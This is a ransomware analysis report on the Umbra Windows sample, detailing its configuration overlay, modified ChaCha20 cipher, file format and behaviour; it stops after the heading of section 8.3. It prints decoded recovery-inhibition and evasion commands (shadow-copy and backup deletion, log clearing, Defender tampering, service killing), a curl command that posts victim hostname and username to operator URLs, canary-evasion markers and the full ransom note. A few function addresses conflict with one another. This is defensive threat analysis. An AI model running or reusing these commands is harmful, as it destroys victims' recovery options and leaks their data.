Umbra

Technical Analysis — Windows

REVERSE-ENGINEERED REPORT

RansomLook · ransomlook.io
File last modified: 2026-08-09

Sample SHA-256: `976ea6c54c8eea1b7c3d1d5227c50fd16f301518fd659a9ee4a770568850f553`

Umbra Ransomware - Full Analysis

1. Sample Identification

Field	Value
Family	Umbra
SHA-256	`976ea6c54c8eea1b7c3d1d5227c50fd16f301518fd659a9ee4a770568850f553`
SHA-1	`a4079e9a82504a22d36e36bd42a2140fc278bf09`
MD5	`ed511819294ce9f3e53784f75aa73a88`
imphash	`1b68727006ce19fb446ae13503cb9f32`
Type	PE32+ executable, x86-64, Windows GUI (subsystem 2)
Size	781 581 bytes
Compile timestamp	2024-07-03 09:46:40 UTC (`0x66851E00`)
Image base	`0x140000000`
SizeOfImage	`0xC4000`
DllCharacteristics	`0x0160` - ASLR, NX, High-Entropy VA
Authenticode	none (security directory empty)
Language	Rust
Toolchain	MinGW / GNU (`msvcrt.dll` , `__getmainargs` , `__initenv` , `_amsg_exit`)
Symbols	none - no debug directory, no CodeView record, no PDB path embedded

Build paths embedded in `.rdata` are rooted at `/root/`, indicating the binary was cross-compiled from a Linux host.

Sections (10)

Every section other than `.text` , `.data` and `.rsrc` is named `.rdata` , including the one holding the relocations. The conventional GNU-toolchain names (`.pdata` , `.xdata` , `.bss` , `.idata` , `.tls` , `.reloc`) are absent, so the section names have been normalised after linking.

#	Name	VA	VSize	Raw offset	Raw size	Characteristics	Actually holds
0	`.text`	`0x001000`	`0x07BE70`	`0x000400`	`0x07C000`	`0x60000020`	code
1	`.data`	`0x07D000`	`0x0009B0`	`0x07C400`	`0x000A00`	`0xC0000040`	writable data
2	`.rdata`	`0x07E000`	`0x0397D8`	`0x07CE00`	`0x039800`	`0x40000040`	read-only data; TLS directory at `0x0B72A0`
3	`.rdata`	`0x0B8000`	`0x001C14`	`0x0B6600`	`0x001E00`	`0x40000040`	exception directory (`.pdata`), 7 188 B
4	`.rdata`	`0x0BA000`	`0x00385C`	`0x0B8400`	`0x003A00`	`0x40000040`	unwind data
5	`.rdata`	`0x0BE000`	`0x000200`	-	0	`0xC0000080`	uninitialised, read/write (`.bss`)
6	`.rdata`	`0x0BF000`	`0x0017BC`	`0x0BBE00`	`0x001800`	`0x40000040`	import directory (6 076 B) and IAT at `0x0BF5E0`
7	`.rdata`	`0x0C1000`	`0x000010`	`0x0BD600`	`0x000200`	`0xC0000040`	16 bytes, read/write
8	`.rsrc`	`0x0C2000`	`0x000718`	`0x0BD800`	`0x000800`	`0x40000040`	resources (version info, manifest)
9	`.rdata`	`0x0C3000`	`0x000470`	`0x0BE000`	`0x000600`	`0x42000040`	**relocations**, 1 136 B - flagged `MEM_DISCARDABLE`

The last section ends at file offset `0x0BE600`. The remaining **1 805 bytes are an overlay** holding the configuration (§3).

Rust source paths and crates

Panic locations leak the project layout and part of the dependency set:

```
payload/src/engine.rs
payload/src/config.rs
```

```
rsa-0.9.10          cipher-0.4.4        poly1305-0.8.0    rand-0.8.7
rand_core-0.6.4     generic-array-0.14.7  subtle-2.6.1    num-bigint-dig-0.8.6
der-0.7.10          const-oid-0.9.6     smallvec-1.15.2
```

The `rsa` crate is identified by the panic path `.../rsa-0.9.10/src/algorithms/oaep.rs`, together with its dependency stack (`num-bigint-dig`, `der`, `const-oid`, `subtle`) and its error strings, present verbatim: `invalid padding scheme`, `message too long`, `input must be hashed`, `nprimes must be >= 2`, `unknown/unsupported algorithm OID`, `SPKI cryptographic key data malformed`.

---

2. Version Resource - Masquerading

The version resource and side-by-side manifest present the binary as a Microsoft operating-system component. The file is unsigned.

Field	Value
CompanyName	`Microsoft Corporation`
ProductName	`Microsoft Windows Operating System`
ProductVersion	`14.0.23107.0`
FileDescription	`Windows System Resource Monitor`
FileVersion	`14.0.23107.0`
InternalName	`srmscan`
OriginalFilename	`srmscan.exe`
LegalCopyright	`Microsoft Corporation. All rights reserved.`
Manifest identity	`Microsoft.Windows.Srmscan`, version `14.0.23107.0`
Requested execution level	`asInvoker`, `uiAccess="false"`

`asInvoker` means no elevation is requested and no UAC prompt is raised.

---

3. Configuration - Appended Plaintext Overlay

The configuration is **not compiled into the image**. It is appended after the last section and located at runtime by scanning the tail of the file, as shown by the loader's error strings:

```
Trailer not found in last 64KB - got 0x... at end
File too small - no trailer
Config blob too small: ... bytes
Invalid config size: ...
Key blob too small: ... (need 272)
```

3.1 Layout

Recovered from the parser in `0x14000B3F0`. The loader scans backwards for a dword `RBMU` with `!DNE` eight bytes later, reads the length at footer+4, then reads a fixed header followed by exactly **ten** length-prefixed strings - the string reader is called ten times, and the cursor closes on the declared length with zero bytes left over.

```
config offset  size   field
  +0x000       272    key blob = 16-byte header + 256-byte RSA modulus
  +0x110 (272)  25    25 individual byte flags, each tested as != 0
  +0x129 (297)   2    u16
  +0x12B (299)   1    byte flag
  +0x12C (300)   1    byte
  +0x12D (301)   -    start of 10 x (u32 length + bytes)
```

#	Offset	Length	Content
1	+301	6	`.umbra` - encryption extension
2	+311	224	directory list, 20 `;`-separated entries
3	+539	157	filename list
4	+700	250	extension list, 49 entries
5	+954	**0**	**empty**
6	+958	144	process name list
7	+1106	89	service name list
8	+1199	**0**	**empty**
9	+1203	**0**	**empty**
10	+1207	582	ransom-note template

Cursor ends at +1793, exactly the declared configuration length.

```
file offset 0x0BE600  configuration, 1 793 bytes (above)
       0x0BED01       "RBMU" | u32 = 1793 | "!DNE"     12-byte footer
       0x0BED0D       end of file
```

Overlay total 1 805 bytes. The trailing magic is `52 42 4D 55` = `RBMU` (`"UMBR"` read big-endian).

Three of the ten string slots are empty in this build (#5, #8, #9). The format reserves them; this configuration supplies nothing for them.

Byte flags: of the 25 toggles at +272..+296, six are set in this build (+272, +273, +275, +280, +285, +286); the u16 at +297 and the bytes at +299 and +300 are all zero. The toggles are re-serialised into the `decryptor=` output (§8.4).

Each toggle is stored into a distinct byte of the parsed configuration structure, and ten of them are tested in the top-level dispatch. Tracing store to test gives the following map - see §3.5 for what each gated routine does.

Config offset	Set here	Gates
+274	no	`sub_1400130E0` - command execution
+279	no	abort path, combined with a check routine `sub_140013540`
+280	**yes**	required for the run to proceed to encryption
+282	no	`sub_140011EF0`, taking two configuration string fields
+283	no	`sub_1400118F0`, taking two configuration string fields
+285	**yes**	**ransom-note writer** `sub_14001B3E0`
+286	**yes**	**wallpaper** `sub_140012350`
+288	no	`sub_140011250` - JSON status record (§3.6)
+290	no	`sub_140012D80` - command execution
+296	no	`sub_1400128E0` - command execution

The remaining fifteen toggles are stored but no test on them was located.

3.2 A second configuration format exists

Before reading the key blob, the parser compares the first dword of the configuration against `0x44454331` - the ASCII `DEC1` read big-endian. A configuration carrying that magic is handled by a different path; one without it is parsed as above, starting with the 272-byte key blob.

This sample does **not** carry the magic - its configuration begins with the high-entropy key blob (`62 A4 AE F5 ...`) - so it takes the key-blob path.

The configuration is stored **in cleartext** - no obfuscation or encryption is applied to it.

3.3 Configuration content as recorded

Extension

`.umbra` - present both as a string in `.rdata` at file offset `0x0804BE` and as the configured value in the overlay at `+0x131`.

> **The configuration lists below are not the ones the directory walk enforces.** See §3.4 - the walk matches against a separate, hardcoded set compiled into `.text`. The lists in this section are recorded as configuration content; only the extension field, the RSA modulus and the note template were traced to actual use.

Excluded directories (224 bytes, `;`-separated)

```
$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;
program files (x86);programdata;system volume information;tor browser;
windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft
```

Excluded filenames

```
autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;
ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat
```

Excluded extensions (49)

```
386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;
dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;
nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;
msi;pdb;search-ms
```

Process name list

```
sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;
mydesktopservice;ocautoupds;encsvc;firefox;thunderbird;excel;outlook;word;notepad
```

Service name list

```
vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;
GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr
```

> These two lists **are** actionable, despite the absence of any process- or service-control API. The image carries the obfuscated commands `taskkill /F /IM`, `sc stop "` and `sc config "` ... `" start= disabled 2>nul` (§8.5), all executed through `WinExec`. The list entries are the arguments.

3.4 The exclusion lists actually enforced are hardcoded, not configured

The directory walk `0x14001C400` filters through a `switch` on candidate length with inlined constant comparisons - the shape a compiler produces when matching against a **static** array, not when iterating a runtime list. Decoding the immediates gives the enforced directory set:

Length	Immediates	Entries
4	`0x74 6F 6F 62`	`boot`
7	`wind` + `dows`	`windows`
8	`0x73676F6C66726570`, `0x65686361636F736D`	`perflogs`, `msocache`
11	`programd` + `gramdata`, `windows.` + `dows.old`	`programdata`, `windows.old`
12	`$recycle` + `.bin`, `$windows` + `.~bt`, `$windows` + `.~ws`	`$recycle.bin`, `$windows.~bt`, `$windows.~ws`
13	`program` + `am files`	`program files`
19	SIMD compare	`program files (x86)`
25	SIMD compare	`system volume information`

That is **12 directories**, matching a concatenated string table at file offset `0x0800C9` in `.rdata`:

```
windows$recycle.binsystem volume informationbootprogram filesprogram files (x86)
programdata$windows.~bt$windows.~wswindows.oldperflogsmsocache
```

The configuration list (§3.3) contains **20** entries - a strict superset. The eight additional entries - `config.msi`, `tor browser`, `intel`, `x64dbg`, `public`, `all users`, `default`, `microsoft` - do **not** appear in the switch and are not skipped by this walk.

The same holds for extensions. A second hardcoded table at `0x080158` lists eleven:

```
.exe .dll .sys .drv .lnk .msi .com .bat .cmd .ps1 .vbs
```

Each of these eleven appears exactly once as an inlined dword in `.text`. Extensions present only in the 49-entry configuration list - for example `.ico`, `.386`, `.adv` - appear zero times.

Configuration fields traced to actual use: the encryption extension (compared as a suffix at the end of the walk, via `memcmp` against a runtime buffer, which is how already-encrypted files are skipped - `.umbra` appears nowhere inlined in `.text`), the 272-byte RSA key blob, and the ransom-note template.

Configuration fields whose use was not established: the 20-directory list, the 49-extension list, the filename list, the process list and the service list.

3.5 Optional command execution, disabled in this build

The top-level dispatch runs, in order:

```
if (cfg+274)                sub_1400130E0(...)
if (cfg+279 && check())     abort
if (!cfg+280)               abort
if (cfg+282)                sub_140011EF0(cfgfield_19, cfgfield_20, ...)
if (cfg+283)                sub_1400118F0(cfgfield_22, cfgfield_23, ...)
if (cfg+290)                sub_140012D80(...)
if (cfg+296)                sub_1400128E0(...)
                            sub_140013220(...)
if (data)                   sub_14001C400(...)          encryption walk
  if (cfg+285)              sub_14001B3E0(...)          ransom note
  if (cfg+286)              sub_140012350(...)          wallpaper
  if (cfg+288)              sub_140011250(...)          JSON status record
```

Every one of those conditional routines is a caller of the `WinExec` wrapper `sub_1400109C0`. None of them contains a command string of its own - the two that take arguments receive **(pointer, length) pairs drawn from the parsed configuration**, and `sub_140011250` is the only one carrying a literal, the `{"bot_id":"` status-record template.

So the binary can execute operator-supplied commands, and **this configuration supplies none**: the six gating flags are clear, and three of the ten configuration string slots are empty (§3.1).

What those routines run. The commands are not supplied by the operator - they are **built into the image, obfuscated** (§8.5). Recovered, they are a complete recovery-inhibition and defence-evasion set: `vssadmin delete shadows /all /quiet`, `wmic shadowcopy delete`, `wbadmin delete catalog -quiet`, three `bcdedit` calls, `wevtutil cl`, two `powershell Set-/Add-MpPreference` calls, `taskkill /F /IM`, `sc stop` / `sc config ... start= disabled`, and both `shutdown` variants.

Only the **destination of the status report** is operator-supplied. Everything else is compiled in and gated by a flag byte. In this build those flags are clear, so none of it runs - but the capability is present, not absent.

3.6 Victim status record

`sub_140011250`, gated by the `+288` flag (clear in this build), builds a JSON record from a format template held at file offset `0x0802CD`. The template is 77 bytes; the four substitution points are the `C0 xx` markers described in §9.

```
{"bot_id":"{}","hostname":"{}","username":"{}","status":"encrypted","ext":"{}"}
```

Raw template with its markers, at `0x0802CD`:

```
7B 22 62 6F 74 5F 69 64 22 3A 22 | C0 0E | 22 2C 22 68 6F 73 74 6E 61 6D 65 22 3A 22 | C0 0E |
22 2C 22 75 73 65 72 6E 61 6D 65 22 3A 22 | C0 1E | 22 2C 22 73 74 61 74 75 73 22 3A 22 65 6E
63 72 79 70 74 65 64 22 2C 22 65 78 74 22 3A 22 | C0 02 | 22 7D 00
```

`status` is **not** a substitution point - it is the literal `encrypted`, so the record exists only for the encryption case.

Delivery - an HTTP POST issued by `curl`. `sub_140011250` builds the record, then formats a command line and passes it to the `WinExec` wrapper. The command fragments are stored obfuscated (§8.5) and decode to:

File offset	Size	Decoded
`0x080818`	12	`COMPUTERNAME`
`0x080828`	56	`curl -s -X POST -H "Content-Type: application/json" -d '`
`0x080860`	3	`' "`
`0x080868`	7	`" 2>nul`
`0x080870`	13	`report sent`
`0x080880`	8	`USERNAME`

Assembled, the executed command is:

```
curl -s -X POST -H "Content-Type: application/json" -d '<record>' "<url>" 2>nul
```

`WinExec` is called with `nCmdShow = 0` (`SW_HIDE`), and standard error is redirected to `nul`, so the child runs without a visible window and prints nothing. On success the routine logs `report sent`.

Destination. The whole block is guarded by `if (config_field != 0)`, and the routine then iterates that field split on `;` (the separator is materialised as the constant `0x3B0000003B`) - so the configuration carries a **semicolon-separated list of URLs**, and the record is POSTed to each in turn. That field is **empty in this build**, which is why the block never runs. Three of the ten configuration string slots are empty (§3.1); this is one of them.

Field sources. `hostname` and `username` are read from the environment variables `COMPUTERNAME` and `USERNAME` - the only environment-query primitive called is `GetEnvironmentVariableW`, from `0x140073D50`. `GetUserNameA` is imported but never invoked, and no `GetComputerName*` variant is imported at all; both facts confirmed in two independent disassemblers.

3.7 Canary-file avoidance - directories containing decoys are skipped

`sub_14001A590` (3 658 bytes) decodes **six obfuscated substrings**, stores them as a six-entry vector, then walks a directory and runs a SIMD substring search of each marker against every filename found. It returns 1 as soon as one matches.

The markers sit contiguously in the third blob region:

File offset	Marker
`0x0AD7F8`	`canary`
`0x0AD800`	`_decoy`
`0x0AD808`	`honeytoken`
`0x0AD818`	`eicar`
`0x0AD820`	`testfile`
`0x0AD828`	`honey`

The encryption walk `0x14001C400` consumes the result directly:

```
if ( ... && !sub_14001A590(path, len) )
    sub_14001C400(...);    // recurse into the directory
// otherwise the directory is skipped entirely
```

The check is applied **per directory, before descending**. Any directory holding a file whose name contains one of the six markers is **not encrypted at all** - not merely the matching file, the whole directory.

The set targets deception tooling: `canary`, `honeytoken`, `honey` and `_decoy` are canary-file conventions, while `testfile` and `eicar` catch antivirus test artefacts. The intent is to avoid tripping file-integrity canaries and to avoid detonating inside analysis sandboxes.

Defensive consequence. This is a rare case where a malware feature is directly usable as mitigation: placing a file whose name contains any of these six substrings in a directory prevents this build from encrypting that directory's contents. It should not be relied on alone - the marker set is compiled in and a rebuild could change it - but it is free to deploy and costs the attacker an entire subtree.

---

4. Ransom Note

Stored in the configuration overlay as a template; `{DECRYPTION_ID}` is substituted at runtime. Reproduced verbatim (em-dashes are U+2014):

```
~~~ UMBRA — Your files have been encrypted ~~~

>>>> All your data has been encrypted.

    If you do not contact us, your data will be published.

    >>>> How to contact us?

    Download and install Tor Browser: https://www.torproject.org/
    Open our contact portal in Tor Browser.
    Provide your DECRYPTION ID and we will reply within 24 hours.

    >>>> Warning!

    Do NOT delete or modify any encrypted files — this will cause permanent data loss.
    Do NOT attempt to decrypt files with third-party tools — this will corrupt your data.

>>>> Your personal DECRYPTION ID: {DECRYPTION_ID}
```

The note directs the victim to a "contact portal" but **contains no address**. No `.onion` host, e-mail address, TOX ID, chat URL or cryptocurrency address is present in the note, in the configuration overlay, or anywhere else in the file.

Wallpaper

A JPEG is embedded in `.rdata` at file offset `0x0808F0` - 183 378 bytes, 1280 x 719, progressive. It is a cartoon-styled "kawaii" ransom screen carrying `UMBRA` branding, mock dialog boxes ("All your files are belong to Umbra!", "Your files are encrypted! Cry about it", "Resistance is futile UwU", "Send crypto or Umbra gets angry") and locked-file icons.

The string `UMBRAL0CK.EXE` appears only as painted text inside the artwork; it is not a string in the binary and is not a filename indicator.

---

5. Encryption System

5.1 Key wrapping - RSA-2048

Parameter	Value
Algorithm	RSA
Modulus size	2048 bits (256 bytes, big-endian)
Public exponent	65537
Padding	OAEP (`rsa` crate; `oaep` and padding-scheme errors present)
Key source	configuration overlay at `+0x010`

The 272-byte key blob enforced by the size check whose message reads `Key blob too small:` ... `(need 272)` is a 16-byte header followed by the 256-byte modulus. The modulus is byte-reversed into big-integer form and loaded by `sub_140028F10`; the exponent 65537 is set as an immediate.

5.2 Bulk cipher - ChaCha20-Poly1305 with a modified constant

Core keystream routine `sub_14001EED0` (VA `0x14001EED0`).

The state is assembled as a standard ChaCha state - 16-byte constant, 32-byte key, 4-byte block counter, 12-byte nonce - and used in the RFC 8439 AEAD pattern:

```
counter = 0  ->  sub_14001EED0(state, buf, 32)     one-time Poly1305 key
counter = 1  ->  sub_14001EED0(state, data, len)   payload encryption
Poly1305 final block = [ u64 AAD length = 0 | u64 ciphertext length ]
```

The AAD length is fixed at zero - the construction is used **without associated data**.

The round function is standard, unmodified ChaCha:

Property	Observed	Meaning
Quarter-round rotations	`pslld/psrld` pairs `0x10/0x10`, `0x0C/0x14`, `0x08/0x18`, `0x07/0x19`	rotl **16, 12, 8, 7**
Round loop counter	`mov edx, 0xA` / `mov eax, 0xA`	10 double rounds = **20 rounds**
MAC	Poly1305, clamp constants present, SSE and AVX2 paths dispatched on `byte_14007D001`	standard

The 16-byte state constant is replaced:

	value
RFC 8439	`61707865 3320646E 79622D32 6B206574` = `"expand 32-byte k"`
Umbra (`0x1400AEB10`, file offset `0x0AD910`)	`20E946D5 65B139F6 12FE4BD2 D9787022`

Raw bytes: `D5 46 E9 20 F6 39 B1 65 D2 4B FE 12 22 70 78 D9`.

The standard `"expand 32-byte k"` constant does not appear anywhere in the file. This is why the implementation is invisible to searches for cipher names or standard constants: it is a vendored ChaCha20 with the constant swapped. The substitution neither strengthens nor weakens ChaCha20; it breaks interoperability with stock implementations and serves as a precise family signature.

Per-file key and nonce material is produced by `BCryptGenRandom` and `SystemFunction036` (RtlGenRandom).

5.3 Encrypted file format

The file is read fully into memory, a `plaintext_length + 296` buffer is allocated, and the result is written back. Encryption is applied to the **whole file** - there is no intermittent or partial-encryption mode.

Files larger than **256 MiB** are skipped: the worker tests `size > 0x10000000` and takes the `too large` path (`0x6772616C206F6F74` = `"too larg"` is materialised as an immediate at that branch).

```
offset 0                        +------------------------------+
                                | ChaCha20 ciphertext   N bytes|
N                               +------------------------------+
                                | Poly1305 tag              16 |
N+16                            +------------------------------+
                                | RSA-2048 wrapped key     256 |
N+272                           +------------------------------+
                                | ChaCha20 nonce            12 |
N+284                           +------------------------------+
                                | original size, u64 LE      8 |
N+292                           +------------------------------+
                                | magic 52 42 4D 55  "RBMU"  4 |
N+296                           +------------------------------+
```

Fixed overhead **296 bytes**. The magic is `0x554D4252`, written little-endian as `52 42 4D 55` = `RBMU` - the same marker that terminates the configuration overlay.

An encrypted file can therefore be validated structurally, independently of its extension: the last four bytes are `52 42 4D 55` **and** the `u64` at `filesize - 12` equals `filesize - 296`. That field also recovers the exact original file size without any decryption.

RSA-2048 wrapping a per-file ChaCha20-Poly1305 key is a sound composition. There is no recovery path without the corresponding private key.

---

6. Key Functions

Entry points are tool-independent - every address below resolves to a function in both disassemblers used. Sizes are the extents measured by the first; a second disassembler agrees exactly on `0x14001EED0`, `0x1400135A0`, `0x1400109C0`, `0x140004670` and `0x140013A10`, and differs by between 2 and 227 bytes on the rest, according to how each attributes trailing blocks and alignment padding. Treat the sizes as indicative and the addresses as exact.

VA	Size	Role
`0x14000B3F0`	16 625 B	configuration trailer loader and top-level orchestration
`0x1400182D0`	8 882 B	per-file encryption worker
`0x1400EED0`	1 734 B	ChaCha20 keystream generation
`0x1400416D0`	2 400 B	Poly1305 key setup
`0x1400404F0`	258 B	Poly1305 block update, AVX2 path
`0x1400413C0`	237 B	Poly1305 64-byte update, AVX2 path
`0x1400414B0`	529 B	Poly1305 block update, SSE path
`0x1400411C0`	412 B	Poly1305 finalisation, emits the 16-byte tag
`0x140028F10`	839 B	big-integer load of the 256-byte RSA modulus
`0x140013A10`	18 616 B	second consumer of the same AEAD primitives (ChaCha20 keystream, Poly1305 setup/update/finalise) and the only caller of the `DeleteFileW` wrapper; reached from `0x14001BD80`
`0x140012350`	1 279 B	wallpaper replacement; reached from `0x14000B3F0`
`0x14001D280`	1 667 B	drive enumeration (`GetLogicalDrives` , `GetDriveTypeW`); reached from `0x14000B3F0`
`0x14001B3E0`	2 464 B	ransom-note writer - sole reference to `{DECRYPTION_ID}` , plus `Note:` / `Note err:` ; reached from `0x14000B3F0`
`0x140010B10`	1 842 B	self-delete - references `self-delete batch:` , calls the `GetModuleFileNameW` and `WinExec` wrappers; reached from `0x14000B3F0`
`0x140009C0`	330 B	`WinExec` wrapper, carries `exec:` / `exec OK` / `exec FAILED (code`
`0x14001BD80`	1 657 B	walk driving the second AEAD consumer; carries `FAIL:` ; reached from `0x14000B3F0` , also self-recursive
`0x14001C400`	3 704 B	encryption walk; applies the hardcoded exclusion sets (§3.4) and calls the file worker
`0x14001135A0`	591 B	import-anchor stub, contains no call (§7.1)

Call relationships confirmed by cross-reference: `0x14000B3F0` is reached from `0x14001F5A0` and calls `0x140012350` , `0x14001D280` , `0x1400135A0` and the `GetModuleFileNameW` wrapper. `0x1400182D0` is reached from `0x14001C400` and calls the ChaCha20, Poly1305, RSA big-integer and `MoveFileExW` routines.

7. Imports - 150 across 10 DLLs

DLL	Count	Notable
`KERNEL32.dll`	71	`GetLogicalDrives`, `GetDriveTypeW`, `FindFirstFileExW`, `FindNextFileW`, `CreateFileW`, `CreateFileMappingA`, `MapViewOfFile`, `UnmapViewOfFile`, `MoveFileExW`, `DeleteFileW`, `SetFileTime`, `SetFileInformationByHandle`, `GetTempPathW`, `WinExec`, `GetModuleFileNameW`, `GetCommandLineW`
`msvcrt.dll`	28	`__getmainargs`, `__initenv`, `_amsg_exit`, `_initterm` - GNU runtime
`USER32.dll`	17	`SystemParametersInfoA` - the other 16 have no caller (§7.1)
`GDI32.dll`	11	none reached - all 11 have no caller (§7.1)
`SHELL32.dll`	6	none reached - all 6 have no caller (§7.1)
`ADVAPI32.dll`	5	`SystemFunction036` - the other 4 have no caller (§7.1)
`ole32.dll`	5	none reached - all 5 have no caller (§7.1)
`ntdll.dll`	3	`NtReadFile`, `NtWriteFile`, `RtlNtStatusToDosError`
`api-ms-win-core-synch-l1-2-0.dll`	3	`WaitOnAddress`, `WakeByAddressAll`, `WakeByAddressSingle`
`bcrypt.dll`	1	`BCryptGenRandom`

`CreateToolhelp32Snapshot`, `Module32FirstW` and `Module32NextW` are invoked, but from a 17 140-byte routine that also references `.debug_info`, `.debug_line`, `.debug_abbrev` and the other DWARF section names. That is the Rust standard library's backtrace symbolisation path, which enumerates loaded modules to resolve symbols - not process enumeration. `AddVectoredExceptionHandler` and `VirtualProtect` likewise sit in runtime-support code.

7.1 Import-table padding - 48 of 150 imports are never invoked

Function `0x1400135A0` (591 bytes) contains no call. It is a flat sequence of `lea rax, <API>` / `mov [rsp], rax` pairs that take the address of 48 imports without using them:

```
0x1400135A0  push rax
0x1400135A1  lea  rax, MessageBoxA
0x1400135A8  mov  [rsp+8+var_8], rax
0x1400135AC  mov  rax, rsp
0x1400135AF  lea  rax, ShowWindow
...
```

It is reached from the top-level function `0x14000B3F0`. Its only effect is to create references that prevent the linker from discarding those imports.

The stub contains **42 `lea` instructions and zero `call`**, each targeting a thunk in the range `0x14007A510` - `0x14007A668`. Those 42, plus the five `msvcrt.dll` CRT data symbols and `__C_specific_handler` (reached only through exception data), account for all 48.

Counting only references that are a `call` to the import or to its thunk, **48 of the 150 imports have no caller anywhere in the image**:

DLL	Never invoked	Reached
`GDI32.dll`	all 11	-
`USER32.dll`	16 of 17	`SystemParametersInfoA` only
`SHELL32.dll`	all 6	-
`ole32.dll`	all 5	-
`ADVAPI32.dll`	4 of 5 (`GetUserNameA` , `RegOpenKeyA` , `RegQueryValueA` , `RegCloseKey`)	`SystemFunction036` only
`msvcrt.dll`	5 CRT data symbols	-
`KERNEL32.dll`	`__C_specific_handler` (referenced by exception data)	70 others

Consequences for the behavioural picture:

- **No window is created and no message loop runs.** `RegisterClassA` , `GetMessageA` , `DispatchMessageA` , `DefWindowProcA` , `ShowWindow` , `BeginPaint` / `EndPaint` are never invoked, and neither is any GDI drawing function. The binary is marked GUI (subsystem 2), which suppresses a console window, but it presents no interface.
- **No drag-and-drop and no tray icon.** `DragAcceptFiles` , `DragQueryFileA` , `DragFinish` and `Shell_NotifyIconA` are never invoked.
- **No registry access of any kind.** `RegOpenKeyA` , `RegQueryValueA` and `RegCloseKey` are never invoked; there is no registry-write API imported at all.
- **No COM initialisation or object creation.**
- `GetUserNameA` **is never invoked**, although a `","username":"` format string is present in `.rdata` .
- `ShellExecuteA` **and** `MessageBoxA` **are never invoked**; the only process-launch primitive reached is `WinExec` .

The padding also inflates the import table, which affects `imphash` : that value characterises this build's declared imports rather than its actual API usage.

Absent from the import table

No networking library or API is imported: `ws2_32` , `wsock32` , `wininet` , `winhttp` , `urlmon` , `dnsapi` , `iphlpapi` , `mswsock` are all absent, as are `socket` , `WSAStartup` , `InternetOpen*` and `WinHttpOpen*` .

Dynamic resolution cannot supply them either: **no** `LoadLibrary*` **variant is imported**, so `GetProcAddress` can only reach already-loaded modules, and no networking DLL name appears anywhere in the file. No low-level socket path is present either - `\Device\Afd` , `NtDeviceIoControl` and `NtCreateFile` are absent. The only API names present in the file but not in the import table are `GetTempPath2W` and `SetThreadDescription` , both optional newer APIs that the Rust standard library resolves at runtime.

Also absent: `OpenProcess` / `TerminateProcess` ; `OpenSCManager` / `ControlService` ; `RegSetValueEx` / `RegCreateKey` - the only registry APIs imported are read-only, and §7.1 shows none of them is invoked; `CreateProcess` .

> **Do not read those absences as absent capability.** The binary reaches the same ends through *WinExec* and a command line. *vssadmin*, *wbadmin*, *bcdedit*, *wevtutil*, *wmic*, *powershell*, *cmd.exe* and *taskkill* **are all present in the image, obfuscated** (§8.5). Processes are killed with *taskkill /F /IM*, services stopped and disabled with *sc stop* and *sc config*, which is precisely why no process- or service-control API needs to be imported.

No second-stage executable is embedded - the file contains exactly one valid PE header (its own) and no ZIP, GZIP, 7z, RAR, XZ or BZIP2 archive.

---

8. Observable Behaviour

Reconstructed from the import set and the operator status strings present in `.rdata`.

1. Resolves and reads its own image to locate the overlay - `Cannot find own exe path: ...`, `Cannot read own exe '...': ...`.
2. Parses the trailer, validating magic, length and the 272-byte key blob.
3. Enumerates drives - `Drives: 0x...`, `Drive ... (type=...)`.
4. Walks directories recursively, applying the §3 exclusion lists.
5. Per file: maps, encrypts, appends the 296-byte footer, renames via `MoveFileExW` - `ENC: ...`, `FAIL: ...`, `... (rename failed)`, `... done: ... enc, ... dec`.
6. Writes the ransom note - `Note: ...`, `Note err: ...`.
7. Sets the desktop wallpaper - `sub_140012350`, reached from the top-level function, calls `SystemParametersInfoA` with `uiAction = 0x14` (`SPI_SETDESKWALLPAPER`), `fWinIni = 3` (`SPIF_UPDATEINIFILE | SPIF_SENDCHANGE`).
8. Deletes itself - `sub_140010B10`, reached from the top-level function, references `self-delete batch:` and calls the `GetModuleFileNameW` wrapper followed by the `WinExec` wrapper (`sub_1400109C0`, which carries `exec:`, `exec OK`, `exec FAILED (code`).

8.1 Call sequence in the top-level function

Order of calls to the identified routines within `0x14000B3F0`. Four such groups appear - three built on the encryption walk and one on drive enumeration - so this is the layout of the dispatch, not a single linear path.

Call site	Target	Role
`0x14000B4B9`	`0x1400135A0`	import-anchor stub (no effect)
`0x14000B66B`, `0x14000C3D4`, `0x14000C974`	`0x140078310`	`GetModuleFileNameW` wrapper - own image path, for the trailer read
`0x14000DD3F`	`0x14001BD80`	walk driving `0x140013A10`, the second AEAD consumer
`0x14000DF23`	`0x14001C400`	encryption walk
`0x14000DF46`	`0x14001B3E0`	ransom-note writer
`0x14000E036`	`0x140012350`	wallpaper
`0x14000E5BD`	`0x14001C400`	encryption walk
`0x14000E5DC`	`0x14001B3E0`	ransom-note writer
`0x14000E5F3`	`0x140012350`	wallpaper
`0x14000E9CA`	`0x14001C400`	encryption walk
`0x14000E9F3`	`0x140012350`	wallpaper
`0x14000EB0C`	`0x14001D280`	drive enumeration
`0x14000EB3F`	`0x14001B3E0`	ransom-note writer
`0x14000EB8C`	`0x140010B10`	self-delete

The recurring unit is **encrypt walk -> write note -> set wallpaper**. The branch at `0x14000EB0C` enumerates drives first, which is the whole-system mode as opposed to the operator-supplied `Target:` modes. Self-delete is the last call in the function.

8.2 Ransom-note writer

`sub_14001B3E0` (2 464 bytes), called from the top-level function at three sites. It holds the only reference to `{DECRYPTION_ID}` in the image (`0x14001B469`) together with the `Note:` and `Note err:` status strings (`0x14001BBD8`, `0x14001BB17`) - it performs the placeholder substitution into the configured template and writes the result.

No note filename appears in plaintext. The routine references exactly three plaintext literals - the three above - and no filename. The wallpaper and self-delete routines likewise reference none.

That is a statement about the plaintext image only. The obfuscated set (§8.5) carries all three names: `~umbra_wp.bmp` for the wallpaper image, `~umbra_del.bat` for the self-delete batch, and the note filename as two adjacent fragments, **`README_`** and **`.txt`** - the note is written as `README_<...>.txt`.

8.3 No single-instance guard

